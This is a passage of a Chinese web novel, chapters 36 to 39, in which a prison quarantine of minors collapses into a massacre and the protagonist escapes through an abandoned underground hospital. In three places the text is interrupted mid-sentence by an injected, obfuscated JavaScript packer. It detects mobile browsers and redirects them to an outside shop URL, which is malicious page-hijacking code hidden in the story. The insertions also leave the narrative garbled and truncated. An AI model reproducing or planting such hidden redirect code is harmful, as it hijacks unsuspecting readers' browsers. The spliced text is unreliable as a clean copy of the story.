外面几个小孩子大声喊着,他们早上会喊几遍,晚上睡前会喊几遍,偶尔还会随机挑选几个人喊,如果说不出来,就要在他的胳膊上用刀划一道口子,说这是耻辱的标记,如果有谁胳膊上积攒满了三道口子,便会被处刑——让他站在铁圆桌上喊一天这句话,直到嗓子喊哑。若是第二次还喊不出来,便会将他从强哥的掌权内剔除:处死。 36. 第 36 章 没人来问过时咎这句话会不会说,因为有一个小孩找茬为难时咎,被他一脚踹出去了。 第二十天的凌晨,时咎本来一直也没怎么睡,到半夜的时候,他感觉有些不太对,周围的空气流动得令人隐隐不安,有些声音,他很少把自己感知如此敏锐地用在这种地方,好像忽然全身被笼罩了一层黑色的光,于是他猛然睁开眼。 除了大厅那盏常亮的灯,其他地方都无比昏暗,尽管如此,时咎还是看到了已经挤到自己跟前的好几个人,背着光看不清他们的脸,却能看清楚那把反光的刀。 他们居然想到暗杀这样的行为! 时咎翻身就抬腿踹掉了那把刀,伸手直接抓了一个最近的人掐住他的脖子,起来毫不留情又踹开另一个靠上来的。 他们也没想到会惊醒时咎,顿时他们开始痛叫,在这个天还没亮的时刻。 凌超建被吵醒,他伸手拉开灯,却没想到现场竟然就在自己眼前。 几个大孩子联合起来围攻时咎,而且在他们的叫声中陆陆续续又来了好些人,时咎这才发现他们在几天的时间内已经把他们最初七八人的队伍已经扩展到接近二十个人了。 是因为从众,还是恐惧,还是身处集体里产生的安全感? 虽然都是未成年,但他们聚集起来并不好处理,况且有的人手里有武器——凳子腿、水龙头、玻璃杯、钢管、刀…… 不知道有的东西是怎么来的,但不管是什么,都想冲到中间来攻击时咎——这个始终不肯臣服于新法律的反派。 因为时咎的惊醒,一时间监狱又闹了起来,有人在大喊,有人在砸牢房的门,有人在里面小小的空间里被时咎踢了出去。 见鬼了,大晚上的这群人是已经疯了! 推开一波人,又冲进来几个,时咎感觉自己的伤口又在痛了,他咬着牙,再次打掉了挥下来的刀,却要看一根木棍直直劈下来。 突然一声巨响,承受不住压力的牢房的门塌了,从里往外塌陷出去,卷起灰尘,围得水泄不通的孩子们也在瞬间倾倒出去,他们纷纷倒在地上,一个个惊愕地不知所措,直到他们的老大怒吼了一声:“异教徒!异教徒!他是魔鬼!干掉他!” 他们把拥挤导致的房门倒塌归责于时咎的身份——反叛者。 不好的事都是反叛者做的,无论真相如何。 监狱爆发出热烈尖锐的吼叫,这些吼叫刺穿薄薄的墙体,瞬间盘旋在野外死寂的上空,如暴风卷起无数只黑蚂蚁,黑色的侵袭。 “异教徒!杀了它!” “啊啊啊!!” “非我族类!!” “快跑啊!” “杀掉反叛者!!!” 尖叫与怒吼交错在黑暗无云的高空。 它们又蜂拥而上。就在这个时候,其中一只黑蚂蚁不知道何时捡起了地上的刀,但它没有朝异教徒冲过来,而是直接抓住离它最近的蚂蚁,一刀便捅了过去。 “啊啊啊啊!!”惨叫声瞬间响起来。 但其他黑蚂蚁都像听不到一样,还是企图攻击这位反叛者。 时咎看到了后面倒下的人,直觉不对,他喊了一句:“先别打了!”瞬间被淹没在群聚黑蚂蚁的混乱里。 “啊——!!”又是一声惨叫。 不远处又有黑蚂蚁瘪了下去,很快,蚂蚁血顺着凹凸不平的地板蜿蜒流着。 楼上楼下的蚁群极其混乱,很多二楼的蚂蚁爬下来了,不知道楼上发生了什么。 时咎只能在拳脚间去看上面的动静,这一看,便瞳孔骤缩。 有一只蚂蚁被他身后的蚂蚁推了下来,紧接着那只蚂蚁自己也越过栏杆跳下来,两只蚂蚁齐齐砸下,刚好砸到奔跑着路过的另一只蚂蚁身上。 有的蚂蚁发现了不对劲,原本它们只是想干掉这个不听话的反叛黑蚂蚁,却接二连三有己方倒下了。 “等等,都住手,全都住手!!”蚁皇大吼,吼得声带似乎撕裂了。 然而没有蚂蚁再听它的,楼上楼下的蚁群都在乱逃乱窜,尖叫声和脚步声吵得无法冷静,只能冷汗直流。情况迅速失去了控制,在这个它们计划只杀掉一只不听话蚂蚁的夜晚。 无差别屠杀! 时咎喘着气,看着周围。 在他视野里,有的孩子随处抓到人就捅,而看到这一幕害怕的人也随意找了件防御道具,看到有人过来就尖叫着挥动手里的东西,不小心打到别人;有的人则是惨叫着到处奔跑,直到跑到某个人旁边,被谁抡起椅子砸了下去,还有人企图跑出去,然而手刚刚碰到门,就被身后追赶的小孩拉住一下一下打死。 他们的目标由最初的攻击时咎变为混战。 是……是虚疑病爆发!他们的斗殴引发了被感染但还在潜伏期的人,加速了他们的感染! 几十个小孩,人间地狱。 “十九!”何为一把推开朝时咎奔来的一个小孩,“跟我走!” 时咎紧皱眉头:“这儿出去,外面的范围太小,他们冲出来的话,不如在室内好躲,应该有人发病了才会无差别攻击人,还不知道多少个。” 何为呆滞一秒:“有人发病了,是哦,不然怎么会有人……” 但何为拉着时咎往最里面跑。 “我们去哪?”时咎问。 何为紧急说:“一个密道,我前两天就发现了!” 他之前很早起床在找如何联系外界的时候就发现不对劲,当时想告诉时咎,却被小孩的闯入打断。 密道……时咎皱眉,监狱里会有密道? 最靠里的那张铁圆桌被两个人合力拉起来,露出了一排很窄的楼梯。 两人对视一眼,趁着还没人注意到他们,快速爬下去又快速拉上门,灰尘掩盖的一瞬间,喧闹被隔绝在外。 “咳咳。”呛入灰尘的何为瞬间猛烈咳起来。 时咎也皱着眉用袖口捂住口鼻,但久不透气的腐烂味还是窜进鼻子。 这个味道有点令人窒息,好像是什么药水混合很久没洗的拖布脏水的味道。 静止好一会儿,灰尘散开,习惯刺鼻的味道,两人才缓过来。 外面疯狂的惨叫一直没停,闷在幽暗的空间里显得更瘆人了。 “呼,好吓人,我一醒来,外面怎么全疯了。”何为大喘着气,拍拍胸口。 时咎也环视了一圈,却发现这里几乎黑得看不见什么:“不清楚,我醒来的时候那几个小孩想杀我,我反抗了,后来小孩越来越多,不知道怎么的,应该是已经感染过的人虚疑病突然发作,也许还有其他人早就被感染了,直到刚刚看到这么多人发狂,也被勾出来了。” 何为张了张嘴,没说出话。 时咎烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时咎到处看了一眼,他倒是没有何为那么害怕,只觉得有点瘆人,于是他轻声对何为说:“不然你在这里等我,我就在旁边看一下,看看这到底是个什么地方,马上回来?” 闻言,何为抓时咎的手更用力了,他艰难地吞了口口水,颤悠悠地说:“那,那我跟着你!你怎么比我还像个成年人,我22岁也很成熟了啊……” 时咎推着铁门,两个人都出来后,铁门像是自动折合一样弹回去“啪”一声关上了。 何为吓得浑身一激灵。 这个地方看上去就像某个地下医院,但不知为何是用这样的通道当入口,也不是完全隐秘,但显然又是不想让所有人都知道。 时咎皱着眉,本来这所监狱就已经让人感到不可思议了,监狱地下还有一所废弃的医院,他无法想到什么好的事。 窗外若隐若现有些光,偏偏看不清是灯光还是月光,是月光还好,若是灯光…… 两个人就借着这点聊胜于无的光慢慢往前挪,脚步声在空旷的走廊里回响,两人都小心不要踩到地上的东西,但走着走着,何为还是不小心踩到什么,“啪嚓”一声,他直接原地不敢动了。 “我,我好像踩到什么东西了。”他声音发抖,脚就僵在原地,像踩到了什么松开就会爆炸的地雷。 时咎回过头,用下巴示意了一下说:“听上去像什么塑料,你抬脚。” 何为闭着眼,慢慢把脚抬起。 37. 第 37 章 一截碎了的针管。 “没什么,针管。”时咎说。 何为这才睁开眼睛,看到脚下的东西,长呼一口气,终于再鼓起勇气继续跟着往前走。 只有一边有房间,路过的几个房间好像都是病房,有的病房里一张床,一个档案柜,还有遮挡帘,有的病房则只有床架,床垫似乎被扔在了走廊,但无论是哪种,都是厚厚的灰,似乎废弃的时间有几十年了。 再往前走,地上有了一些黑红色的污渍,有的是点状,有的则是一片。 上面的声音逐渐听不见了,走到这里,只有幽暗的安静,还有不知道是哪儿通过来的风,夹杂着灰尘浓郁的气息,在耳边嗡嗡作响,寂静得能听见自己砰砰的心跳。 “好奇怪,监狱和医院的组合会是什么?”时咎把声音放得很轻,轻得几乎只有气声,好像再大一点就会被隐藏在黑暗里的东西听到。 他忖测说:“用罪犯做实验?所以伤员过多甚至需要独立医院?生化实验?人体实验?” “别说了!”何为紧急制止,他吓得抓时咎的手几乎要把时咎的胳膊掐出红印。 “不行了不行了。”何为眼前发黑,他问,“请问,我可以挽着你吗?真的很恐怖。” 时咎:“嗯。” 一双手环过他的胳膊,那双手还在抖,感觉得到何为非常害怕。 时咎一边缓步往前走,一边思考。这样大容量的监狱存在本身也很匪夷所思,因为并不是什么遥远年代的建筑物,没有遥远到两百年前,而两百年之内,据他所知,是不会存在这么大犯罪量的,那么用罪犯进行某种实验,或许是重刑犯,岂不是半年一年开不了张?只有一种解释:这里关的不是罪犯。 可……这说不通。有人曾经在这里做过什么? 病房还算正常,但越往前走,越是令人无法理解。 跨过一个完全横在路中间的床垫,一个新的房间出现了,但它并不是什么看了让人舒服的房间:四五平米大,整个破烂水泥装修的正方形房间只有中间有一张看上去是铁做的沉重椅子,椅子扶手上自带着手铐,靠背顶上是一个圆形头部固定装置,座椅上是刚刚在路上就看到过的黑红污渍。 “这是什么啊。”何为颤抖着问,他觉得这个发展越来越超出他的思考范围了。 时咎走进去,拿手碰了下这张椅子,似乎是铁或者某种金属,他转身说:“应该是某种,看上去是某种,刑讯逼供的地方,或者脑部实验?电击?” 何为快走不动了,他一把将时咎从房间里拉出来,继续往前走。 他的牙齿打颤,抖得不知道是冷还是怕了:“怎么会有这种地方?” 时咎四周看了一圈,轻声说:“不知道。” 这种画面他只在游戏里见过,真实置身其中,那种绵密的细汗常留在后背。 微弱的脚步声伴随急促却不敢大声的呼吸。 再往前,更是触目惊心,依然是同样的房间,但这个房间的门口有一道拖出去足足两米长半米宽的黑红污渍,越靠近末端,越稀疏,好像曾经有人在这里被夺去大半条命,最后浑身是血毫无意识地被人从地上拖了出去。 紧接着的房间是一个纯白色软包房,看上去是禁闭室,四周都贴了隔音棉,人在里面将最大限度听到自己的心跳与血液流动,能看出来是纯白色软包,是因为这个房间的六个方向全溅满了那些污渍,偶尔有几处空隙,显得越发的纯白。 即使已经看不出来具体的颜色,也闻不到什么气味,何为还是往后退了好几步,快要呕吐般说:“我,我不行,不行了我不想再往前走了,回去吧,我真的要吐了。”光是在这里呆的时间长,都要被瘆出精神病了,他的后背全是汗。 时咎犹豫了一下,在考虑要不要返回,正要说话,远处传来了声音,他没出口的话瞬时吞回去,一把将何为的嘴捂住,往后一扯,两个人顺势躲进旁边这个全是污血的隔离间。 “嘘,有声音。”时咎轻声说。 声音不是从他们来的方向传来的,是另一边,很轻的一声,但他听到了。 时咎屏住呼吸,也不管手心里有没有汗,先捂着何为不让他发出声音。 何为似乎是吓软了,他眼睛瞪得满是红血丝,他无力挣扎了好几下,很久才冷静下来,时咎放开手。 何为感觉全身没劲,他很想找个地方靠着缓解一下他快速的心跳,可他并不能倚靠在这里的任何地方,只能强打起精神站直,贴着时咎,用口型问:“什么声音?” 时咎微微摇头。 没听清,只是“噔噔”两声,像某种脚步声,在看不见尽头的走廊深处响了两声便安静下来。 但在这种地方,这个时间的脚步声……最开始他醒来的时候,天还是墨水般黑,估摸可能两三点,那么现在也许在五六点。 这监狱所在的地方本就是荒郊野岭,已经很适合闹鬼了。声音不来自于他们来的方向,也就是说,这个监狱还有别人?会不会是来自被各自隔离的A区或C区? 两个人躲在这个房间的角落里,何为感觉胃酸一股一股往上涌,每次马上要吐出来又憋回去,等了很久,好像再没有出现什么声音,刚刚似乎是错觉。 “我受不了了。”何为用气声说,“你是不是听错了?这里怎么可能……” “噔噔噔。”连续三声,这下何为也听到了,他的脸色“唰”的比刚刚更惨白,几乎毫无血色,他紧闭着嘴,这下连呼吸都不敢太大声了。 接着有一些窸窸窣窣的声音响起,像很远很远的地方传来的唇齿音,但是这些声音经过幽深的走廊,被混响绕了一遍又一遍,形成了格外像恶灵低语的错觉。 时咎也尽可能的屏住呼吸,静静听着那些声音在不知道何处响起。他的额角流下一滴汗。 时咎不太相信确切的鬼神,他想或许有,但一定是以另一种方式存在,而不是肉眼就完全能辨别的实体,所以进鬼屋、走夜路,他都不怕,但自从有了这个连续做的梦,他的某些想法动摇了。 时咎紧张地吞下口水,喉头的异样让他不自觉抬手捏紧了脖子上的东西。 以前戴过一段时间佛像,紧张的时候会捏着佛像祈祷,现在只能捏着曾经让他耻辱的夺命环,但此时的夺命环反而让他没那么惊悚了。 那些声音越来越近,但越近,越听上去不对劲,那种声音不是一个人能发出的,好像是某种脚步声在整齐地走,一会儿又杂乱,一会儿又整齐,混响逐渐减弱,那脚步声就明晰起来。 有什么东西过来了…… 高度紧张让时咎的的血全往脑门上涌,而手脚冰凉。 “好像,阴兵过境。”何为轻悄悄地说,时咎立刻对他做了一个食指闭嘴的手势。 但来不及了,何为闭嘴后,那些脚步突然在他们附近停下了。 时咎冷汗直接下来了,他没有应付过这种情况,若是真有什么妖魔鬼怪三长两短,最怕他在这个时候惊醒了,他醒了相安无事,那何为呢? 于是时咎打算自己出去探一下,假装只有他一个人。他无声轻轻拍了拍何为,靠在他耳边用只有两个人听得到的声音说:“在这别动。” 何为疯狂摇头,然而时咎和没看见一样,往外挪了一些,慢慢地、非常谨慎地从角落一步一步挪到门口,想去看一下外面到底是真的有什么东西,还是某种声学效应导致他们错误地听到了这样的声音。 他从来没走过这么小心的路,两米几乎挪了快一分钟,再屏住呼吸以最隐蔽的姿势往这间禁闭室的门外探了一点,然而他连眼睛都还没露出去,一把枪便顶到了他的额角,时咎浑身动作一滞。 “等你很久了。” 一个冰冷的女声响起。 然而听到这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187329|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女声,时咎跟如获大赦一样长长松了一口气:是人的声音。 紧接着,时咎又觉得这音色…… 反应过来的时咎直接从门里走出来,在微弱的光线里对上了眼前人的眼睛,他看到她身后还有好些人。 是季水风。 季水风也愣了,拿枪的手顿了两秒,没放下来,她不确定地问:“你……?” “时咎。”他报出名字。 于是季水风收起枪,皱着眉头不太相信地问:“你怎么在这儿?”她的重音在“这儿”。 时咎叹气,转头轻声喊:“何为,出来吧,不是鬼,是我朋友。” 过了好一会儿,禁闭室里才慢慢伸了个半个脑袋出来,看到眼前的情况,他愣了一下,好像确认外面真的是人后,箭步一冲就冲到了时咎身后,看起来是在那个房间忍得一秒都忍不下去了。 时咎简单向季水风描述了一下他来这里的原因,以及逃到这个秘密通道的原因,听完季水风和她身后跟着的好几个人都不可置信。 季水风震惊地说:“你说的是真的?” “嗯,现在回去,要么他们杀完了,要么就是杀完了。”时咎抛了个双关语,却听得在场的人面面相觑。 “这怎么可能?”后面有人问。 时咎淡淡答道:“对,我也觉得不可能,所以才跑到这里来冷静冷静。” 时咎问季水风在这里的原因。 季水风告知他,她本是负责转运的其中一员,但她在一个街区一个街区看着巴士离开时,意外看到了一个自杀在街上的男人,而那个男人正是她前不久巡查接触过的人。本着对公民负责的心,季水风迅速联系了季山月和安全管理中心,收拾东西乘坐最近的一辆巴士走了,凑巧也来到了这个地方。 然而她们的情况和时咎他们完全相反,他们关的是A区,在另一栋楼,相隔甚远,但他们里只有两个是未成年人,所以几乎所有人都井然有序。 不幸的是没两天便有人发病,开始尖叫奔跑说有鬼,她们齐心协力绑了人,但这样不是办法,发病的人越来越多,绑也绑不住了,所以刚好在这一天,突然又有两个人发病的时候,她找到这个密道,救不了更多人,只能带着还健康的人下来企图找找别的出口,让已经疯狂的人在上面自行解决,除此之外,没有发生任何人祸。 她们来的时候就没二十个人,到目前一共差不多还有十个人,所以走在这种瘆人的地方觉得倒也还好。 时咎默念着:“也就是说,我们来的时候看到这个区域三栋牢房,分AB区,或许最后一栋是C区,地面上独立三栋,地下却通过这个医院连接在一起。” 时咎向季水风简单说了刚刚一路过来的情况,季水风的脸色很难看,她走进刚刚时咎何为躲的这个禁闭室观察了一圈又走出来,说:“我也不知道这是什么地方,从来没有听说过,但是我们刚刚路过了的房间,确实有实验室,看上去像某种生化实验室或者人体实验室,有器皿和手术台,还有化学物质陈列表,只是都是空的。” 她一说,所有人都不开口了,好像回忆起了不愿意回忆的东西。 季水风从包里拿了一个满是灰尘的笔记本出来递给时咎。 “这是?”时咎问。 “刚刚在一个实验室上锁的柜子里找到的,嗯……我们搜刮了一下,没有什么太多有用的东西,就是废弃实验器材,只有那一个柜子上了锁,我暴力打开的,里面就是这个本子,我想或许是什么值得研究的东西,你看上面有字,但这里面光线太暗,所以我想拿出去的时候再看。” 时咎翻了一下,确实能看到泛黄的书页上写了些什么,但似乎只有前几页有,最后一页留了些污渍,再后面就没有文字了。 无论如何,他们现在要做的还是要出去,几个人不太相信一群未成年人会做出这些事,便提议往B区出去。 38. 第 38 章 整个医院和实验室似乎就是一条巨型的长虫,匍匐爬在地下,没有拐角也没有错综复杂的结构,两波人下来都没有走过分岔,直直从两端往中间走然后遇到。 这回知道了这下面就是瘆人了些,并没有什么妖魔鬼怪的何为也放松很多。十多个人大概都知道这下面的情况,往回走的时候速度加快不少。 后面有人在声音很小的聊天,季水风和时咎走在最前面,突然季水风开口轻声说:“我有时候不太懂掌权者们的决定。” 时咎侧过头看她,没说话,等她继续。 于是季水风接着说:“已经有发病症状的人是单独的隔离对象,接触过发病的人,比如我们,是另外的隔离对象,可如果我们之中有的人被感染了,有的虽然接触过却并没有感染,但因为这样的集中隔离反而让那些没感染的人感染了……他们不可能想不到,但还是这样做了,就像是……” “错杀一千也不放过一个。”时咎接道。 季水风:“……嗯。” 季水风往后看了一眼,确认没人掉队,他们也都各自在聊自己的,于是压低声音非常小声地说:“我不知道沉皑有没有告诉过你,起源进化以前是没有舟之覆这个职位的。” 时咎轻轻“嗯?”了一声,他摇头,沉皑很少主动向他提起有关文明中心的一切内幕,除非自己主动问,而有时候就算他主动问,不到必要的时候沉皑也不会说,他感觉沉皑并不是很想让自己知道太多关于文明中心的事。 季水风继续小声说:“以前的起源进化,所有人都可以申请排队,并没有检测合格不合格一说,不过那个时候的进化成功率确实没有现在高,如果失败极有可能导致脑死亡。言威成为掌权者后,也就是在我任职安全管理中心的前些年,开始有了合格与不合格的区别,不合格的人大部分原因其实是体内有虚疑病病毒,所以这些人会被运输到教化所进行改造。我始终不明白,言威好像很怕虚疑病,到这次的爆发,我更确定他很害怕这种病毒,以至于想把一切有可能的感染者直接扼杀。” 脚步声淹没了她大部分的声音,除了时咎,其他人放松聊天谁也没人关注他俩,就连何为也走到后面和他们打成一团了。 时咎皱着眉头,目光始终注意自己的脚下,他说:“你的意思是,他对这种病毒的害怕程度超过了常规?但是我看来这完全说得过去,他是掌权者,他得对他的公民负责,那么他担心这种病毒对公民的危害,刚好又发现体内携带虚疑病病毒的人进化的失败率更高,所以增加了检测,那这之后的成功率……” “接近百分之百。”季水风笃定道,“所以这么看来,这并不算一件特别糟的事,但问题是,如果他真的爱他所有的公民,为什么会宁愿错杀一千不放过一个?” 时咎给出了一个非常直接的回答:“那他就是不爱啊,或者没那么爱。但是这个病谁都有可能感染,包括他自己,所以除掉所有的可能性,留下健康的人,省事、方便。” 季水风觉得言威的心思太深,所以一直在猜测更不可能的可能,时咎说的这种可能性她从来没有考虑过,当下听到,只能浅浅应答一声,脑海里不断思考,但她想不到那么直接的回答,所以也暂时保留了这种说法。 她紧接着说:“你这么说的话,也不是一点可能没有,他只是想扼杀掉这种病毒发病的一切可能性,而成人礼是每个人一定会参加的,在成人礼的时候就把这种可能性给排除出去,送到教化所,其实也是某种意义上的隔离。原本就这么处理也能够风平浪静,但是大半年前……” 季水风一提,时咎突然想起了这件事,那会儿他刚刚来这个世界并没有和这里产生什么链接,所以也就没太在乎。他来的第一天就在起源实验室的大屏幕上看到过一则新闻:数支病毒标本失窃。 时咎大概知道他们的运作机制是什么:虚疑病是恩德诺的原生疾病,起源于战争,后来战争结束了,这个病毒也聪明地蛰伏下来,只藏在一部分人体内一代代传给后世。虽然它不一定会攻击人的免疫系统,有的人也许一生不发病,但它会阻碍大脑进化,所以在进化前一旦发现便会被送往教化所。 成功进化后的成年人,体内应该是没有这个病毒的。 “你的意思是这场瘟疫爆发跟标本失窃有关,有人拿了标本研发出同样的病毒然后扩散。”时咎把声音压得非常低,以保证绝无可能有第三个人听到。 季水风抿着唇,好像不太愿意承认这件事,但片刻还是为不可察地点点头:“我不太愿意相信恩德诺有这样的人存在,但从刚有苗头的时候我就一直在想了。那个地方防护等级很高,派遣的安保也是专训出身,那天值班的两个安保都死了,也没有监控,我……我们查不到那个人一点信息。” “一个非文明中心的、能力很强的人。”时咎说了他的猜测,他看见季水风也点点头,随后又摇摇头。 她说:“其实不是查不到任何信息,而是每次查到一点,就断了,每条路都是死路。” 时咎骇然,他不太确定地说:“是有人故意不让你们查?” 然而季水风没有回答他这个问题,她想到过这个可能,又很快否定了。 安全管理中心是文明中心一个重要组成部分,她又是这里的最高管理,如果她想查,几乎没有可能遇到阻碍,除非这个阻碍来自更高的权力部分——掌权者大楼,然而看他们对这个病的忌惮,不可能做出这么自相矛盾的事,明明一直小心防御,又自找麻烦? 不可能,这毫无逻辑。所以时咎说的这种可能性才是最大的:一个不存在于文明中心,但能力超常的人。若是在文明中心之外真的有这样的人,一个可以避开所有眼目来回于文明中心、还可以轻而易举掐断他们侦察后路的人,是一件极其危险的事。 他们走到B区下来的地方的时候,已经听不到上面一丁点的声音了,时咎拉开那道生锈的铁门,季水风扶着让后面的人都进来。 何为走到时咎旁边,小声说:“好像结束了,不知道外面怎么样了。” 时咎对他做了一个噤声的手势,接着回头和季水风对上眼神,他看见季水风轻轻点头,于是他手撑着上面的地板,用力将那张铁圆桌整个翻出去,“哐”一声,阳光瞬间就照了进来,一起进来的还有被圆桌卷起的灰尘,在那一道孤有的光线里流动。 时咎往上走了两步,刚要能看到上面的情景,一声破空声出现在耳边,时咎当下心一凉,来不及反应直接用手去挡,剧痛便从小臂上传来。 他心里骂一声,翻身跳上去迎着刀尖一脚踹了出去。 一个身影摔倒在地,又迅速爬起来,继续抓着刀朝时咎奔过来。 季水风听到声音立刻翻出来,在第二刀下来的时候毫不留情抓住那个人的手腕,狠狠一折。 “咔嚓。” “叮。” “啊!!” 骨头碎裂、刀落地、痛叫,同时响起。 季水风踢到他的膝盖,迫使偷袭的人跪下,反剪双手让他无法动弹,接着她便呼吸完全停滞住了。 时咎也愣住了,一身的血也几乎无法流动。后面跟上来的人,一个一个,走出那个楼梯,见到了阳光,却纷纷就在那驻足脚步,没人说话,没人反应。 空气静止。 整个B区监狱的空间里全是尸体,倒在地上的,趴在铁圆桌上的,卡在楼梯上的,悬吊在二楼扶杆上探出半截身子的,血腥味浓得令人作呕。 直到何为“呕”的一声,他蹲下去吐了出来。 后面的人全是无法相信的骇然。 季水风喃喃出声:“这,怎么可能?” 她惊骇的思绪被前面一阵疯癫的笑声拉了回来,却听见是正被她束缚着的这个人发出来的。 时咎看向那个人,愣了一下,是凌超建,他还活着,最后一个,唯一一个。 凌超建大声颤抖地笑,笑声在这个空间和这个场景里显得格外惨烈,他低头,眼睛向上翻盯着时咎与何为说:“他们都死了,我杀的,我找不到你们, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187330|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们去哪啦?” 何为没忍住又吐了。 时咎没理他,季水风则一记手刀让他晕了过去,顺势把他放在地上。 “嗒。”轻轻的水滴声,时咎这才反应过来,他的胳膊在流血。 这孩子,人不大,下手真狠。兴许是处于疯癫一晚上,要提防其他人的杀戮,也要主动出击让自己不置于危险之地,整个夜晚的惨叫和鲜血,他的精神也摇摇欲坠随时要崩塌,但他居然还保有那么一丝的理智,在监狱里和这些尸体不知道一起共处多久,就为了他等他们出来。 何为脸色惨白地过来,他就像个医疗兵,肩负起了治疗的一切作用。他慌忙又给时咎消毒止血包扎,并对他说:“这是最后一点止血棉了,下次得离开这儿才能换药。” “谢了。”时咎说。 包扎完,时咎站起来慢慢绕着这尸横遍野的监狱,强忍着剧烈想吐的冲动,一步一步徘徊、观察这些小孩。 每个人的伤口都不一样,有的在头上,可能是被重物击打,有的则是被捅死,无一例外,死状惨烈。 很难想象这些都是文明的未来,这迫使时咎不得不再次想起那件事——如果人心本是恶,人们应该选择长远的进步还是物理性进化?各自会导向什么结果? 走到里面,时咎突然顿住脚步,他看到不同寻常的东西。 他抬头,往四周望了望,看到季水风也在一具尸体前停下了,于是他走过去,发现季水风注视的那具尸体有和他刚刚注意到的有一样的特征。 时咎仔细回忆起这二十天,不确定道:“我不知道他们有没有人带了火机之类的物品进来。” ——有的人是被烧死的。 虽然烧伤面积不大,致死原因也不一定就是烧死,但确实有明显灼烧痕迹。 再绕一圈,发现好几个小孩身上或多或少都有燃烧的迹象,在二楼最里的小房间,有一个人被烧得面目全非。 昨晚对于这里的未成年人来说,到底是怎样一个夜晚。 季水风拿出手机,严肃道:“我联系一下安全管理中心。” 时咎突然反应过来:“等等,你能联系别人?” 季水风奇怪看了他一眼:“能啊,前两天就联系了,我给言威打了电话,他说集中隔离会发生这种事很正常,第三十一天会派人来接的,但这里已经不是正常的范畴了,所以我得申请提前回去。” 时咎眨眨眼。 季水风感觉有些不理解:“怎么了?” 时咎走到她旁边,伸出没受伤的手:“我一直没有手机联系外界,可以借你手机打个电话吗?” 季水风愣了一下,突然明白过来他要做什么,直接把手机扔给了他,并说:“前段时间沉皑给我打过电话问你,我说我不知道。” 时咎微微点头,拿着手机出去了。她看着时咎推门出去的背影,奇怪嘀咕道:“为什么要出去打?” 吐够了的何为终于脸色惨白地靠过来,听到季水风的话,虚弱地说:“给他爱人打电话不想被人听到吧,吵个架吵到二十天没联系,可能想说点什么。” “爱人?!吵架?!”季水风满脑子问号提取了两个关键词,等等,他不是给沉皑打电话吗?还是说他们这么快?! 门外也有两具小孩的尸体。时咎走到相对干净的另一边,迅速从季水风的通讯记录里找到沉皑,便拨了过去。 希望他没有在忙了,希望不会打扰到他,希望他不会看到是季水风的电话以为有什么事而耽误到他。 电话响了很久,响到时咎觉得他真的在忙,准备挂掉的时候那边接起来了。 “有消息了?”沉皑开头第一句话就问。 时咎一下不知道如何回答,感觉他们好像有什么工作上的往来,但听到沉皑熟悉的声音,时咎竟觉得久违地松了一口气,第一次觉得他的声音如此低沉磁性好听,算了打扰就打扰吧,大不了挨几个冷脸。 于是时咎慢吞吞地开口:“啊,不好意思,那个,是我。” 39. 第 39 章 对方沉默了好一会儿,有些不确定地问道:“时咎?” “是的。”他厚着脸皮回答。 结果又是一阵沉默,这个沉默让时咎觉得电话对面这人肯定不忙,不然不会这么拖时间。 彼此都不说话的这几秒里,时咎听到了电话那头的呼吸声,那边好像很安静,所以呼吸声格外清晰,非常缓慢的呼吸,像是只有刻意控制才能有如此缓慢的感觉。 那一瞬间,时咎又想到了最开始的日子里,他靠在沉皑胸膛听到的那一声声心跳了。 时咎正要张口,沉默被对方先打破了,沉皑说:“你在哪?” 时咎张望四周,努力想描述这个地方,然而他看着这荒芜的一切,张着嘴想了半天,说:“我也不知道这是哪,可能季水风知道,我把电话还给她,让她跟你说?” “嗯。”沉皑清清浅浅一声。 时咎推门进去把手机又给了季水风,但是他怎么感觉,季水风看他的眼神不太对? 不仅如此,怎么连何为的眼神也? 他不就出去几分钟,发生什么了? 小巴士来的时候已经是黄昏了,那辆车徐徐停在栅栏外。 一直坐在监狱外面等了大半天、昏昏欲睡的人都纷纷站起来,迫不及待等着上车回到熟悉的城市。 时咎也慢慢站起来,在这儿等得太久,没人想在楼房里呆着,便都只在外面的土地上坐着,吹着风晒着太阳,总觉得要睡着,却又一直悬着心放不下。 也许是长时间的恶劣环境,接近二十四小时没有休息和惊吓,没有人说话,大家都缄默着,看着从文明里来的车,就像来自家乡的问候,令人感动悸动。 那辆车停稳后,门被慢慢打开,下来的第一个就是沉皑。 时咎松了一口气,露出一个只能被自己察觉的微笑,一瞬间又消失。 久违的人啊,久违的安心。产生这种心情的时咎突然察觉自己有些奇怪,但也并不是不能理解——沉皑是他在这个世界最亲近的连接,不管是仇敌时期,还是朋友时期。 长期相处,那种熟悉感就是安全感。 还是一身黑,沉皑从车里下来,鞋子踩在这片土地上,面无表情地用眼神示意司机,于是司机立刻下来打开栅栏的锁。 黄昏时候的太阳特别灼人,橘黄色的光斜向拉长了所有遮挡物的影子。 时咎像他来时一样,走在人群最末尾。 